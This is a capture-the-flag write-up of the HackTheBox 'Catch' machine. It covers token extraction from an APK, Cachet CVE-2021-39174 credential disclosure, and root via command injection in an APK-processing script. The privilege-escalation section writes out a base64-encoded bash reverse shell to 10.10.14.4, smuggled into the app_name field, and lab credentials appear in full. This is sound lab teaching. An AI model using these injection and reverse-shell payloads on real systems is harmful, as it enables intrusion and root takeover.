Skip to main content
  1. writeup-ctf/

Writeup - Catch (HTB)

·902 words·5 mins·
d3vyce
Author
d3vyce
Cybersecurity, Devops, Infrastructure
Table of Contents

This is a writeup for the Catch machine on the HackTheBox site.

Enumeration
#

First, let’s start with a scan of our target with the following command:

nmap -sV -sC -O -T4 -n -Pn -oA fastscan 10.129.180.130

Five TCP ports are discovered:

  • 22/tcp : SSH port (OpenSSH 8.2p1)
  • 80/tcp : HTTP web server (Apache 2.4.41)
  • 3000 : Gitea 1.14.1
  • 5000 : let’s Chat
  • 8000 : Cachet (Apache 2.4.41)

Exploit
#

At first I start by scanning the files of the site.

Nothing particular, by going on the site, there is the possibility of downloading an application: catchv1.0.apk. So I download it, then I unpack it with the following command:

apktool d catchv1.0.apk

Then I look for passwords, tokens, …

┌──(d3vyce㉿kali)-[~/catchv1.0]
└─$ find ./ -type f -exec grep -H 'token' {} \;
./res/values/strings.xml:    <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
./res/values/strings.xml:    <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
./res/values/strings.xml:    <string name="slack_token">xoxp-23984754863-2348975623103</string>
[...]

We find 2 tokens, one is for gitea and the other is for lets chat. I choose to start with the second one. At first I generate a request with the help of Burp. Then after some research I find on this site that to add a token to the request it is necessary to use Authorisation: bearer [TOKEN]. Now that I have the authorization, I start by listing the different rooms:

GET /rooms HTTP/1.1
Host: catch.htb:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Authorisation: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ
Cookie: connect.sid=s%3APQgPB6T9iE4OkwoXsVLWBTYYv__899Ny.v%2BdKrRNFbDrEQkPjm0kAoxdQfi6%2BsTB0AmPQ1q%2BnKns
If-None-Match: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk"
Connection: close
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: 
X-UA-Compatible: IE=Edge,chrome=1
Content-Type: application/json; charset=utf-8
ETag: W/"35c-aAImKzSV1mWHmtGLu5/YkMt+2hk"
Vary: Accept-Encoding
Date: Fri, 22 Apr 2022 10:31:05 GMT
Connection: close
Content-Length: 860

[{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","created":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b8708efe190b466d476bfb","slug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-14T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},
{"id":"61b86b3fd984e2451036eb18","slug":"employees","name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]}]

I find in the result 3 rooms. I try now to list the messages included in the first room. For that I use the following query:

GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1

I find several messages including this one:

[...]
"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john :  E}V!mywu_69T4C}W`",
"posted":"2021-12-14T10:21:33.859Z",
"owner":"61b86f15fe190b466d476bf5",
"room":"61b86b28d984e2451036eb17"
[...]

A password and a login! I try to use it on the site hosted on port 8000 :

I find that the panel is version 2.4.0 of Cachet. After some research I find the CVE-2021-39174 which allows to obtain the contents of the variable DB_username and DB_password. For that I go in the notification parameters I set Mail Driver to SMTP. Then I fill Mail From Address with the following content: ${DB_username}. I save and I refresh the page.

I repeat the same procedure for the password.

Finally I find the following credentials: will / s2#4Fg0_%3!

I now have SSH access with the user will and I can get the first flag.

Privilege escalation
#

I start by running the linpeas.sh script to get an overview of the machine. I quickly find a script belonging to root but that I can read.

#!/bin/bash                                                                                                                                                                                                                                 
                                                                                                                                                                                                                                            
###################                                                                                                                                                                                                                         
# Signature Check #
###################

sig_check() {
        jarsigner -verify "$1/$2" 2>/dev/null >/dev/null
        if [[ $? -eq 0 ]]; then
                echo '[+] Signature Check Passed'
        else
                echo '[!] Signature Check Failed. Invalid Certificate.'
                cleanup
                exit
        fi
}

#######################
# Compatibility Check #
#######################

comp_check() {
        apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null
        COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml")
        if [ -z "$COMPILE_SDK_VER" ]; then
                echo '[!] Failed to find target SDK version.'
                cleanup
                exit
        else
                if [ $COMPILE_SDK_VER -lt 18 ]; then
                        echo "[!] APK Doesn't meet the requirements"
                        cleanup
                        exit
                fi
        fi
}

####################
# Basic App Checks #
####################

app_check() {
        APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
        echo $APP_NAME
        if [[ $APP_NAME == *"Catch"* ]]; then
                echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
        else
                echo "[!] App doesn't belong to Catch Global"
                cleanup
                exit
        fi
}


###########
# Cleanup #
###########

cleanup() {
        rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh)
}


###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
        OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
        APK_NAME="$(openssl rand -hex 12).apk"
        if [[ -L "$IN_APK_NAME" ]]; then
                exit
        else
                mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
        fi
        sig_check $IN_FOLDER $APK_NAME
        comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
        app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

In this script one part is particularly interesting:

if [[ $APP_NAME == *"Catch"* ]]; then
                echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
                mv "$3/$APK_NAME" "$2/$APP_NAME/$4"

The script checks that the word Catch is present in the app_name variable of the apk file. But what is interesting is that we can put what we want before or after. I go back to the application folder that I had decompiled before. Then in the file res/values/strings.xml I modify the value of app_name.

[...]
<string name="app_name">Catch|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTIzNCAwPiYxCg== | base64 -d | bash -i</string>
[...]

After adding a reverse shell, I recompile the application with the following command:

You need apktool v2.6.1 to do this !I now run the verification script. Then I get a reverse shell as root and I can get the last flag.

Recommendations
#

To patch this host I think it would be necessary to perform a number of actions:

  • Do not leave tokens with access to sensitive content in an application available to all
  • Update Cache to avoid CVE-2021-39174 exploit
  • Do not use the same password for the database and a machine user
  • Use a stricter check for the app_name variable

Related

Writeup - Harder (THM)
·862 words·5 mins
Writeup - Late (HTB)
·554 words·3 mins
Writeup - Ollie (THM)
·703 words·4 mins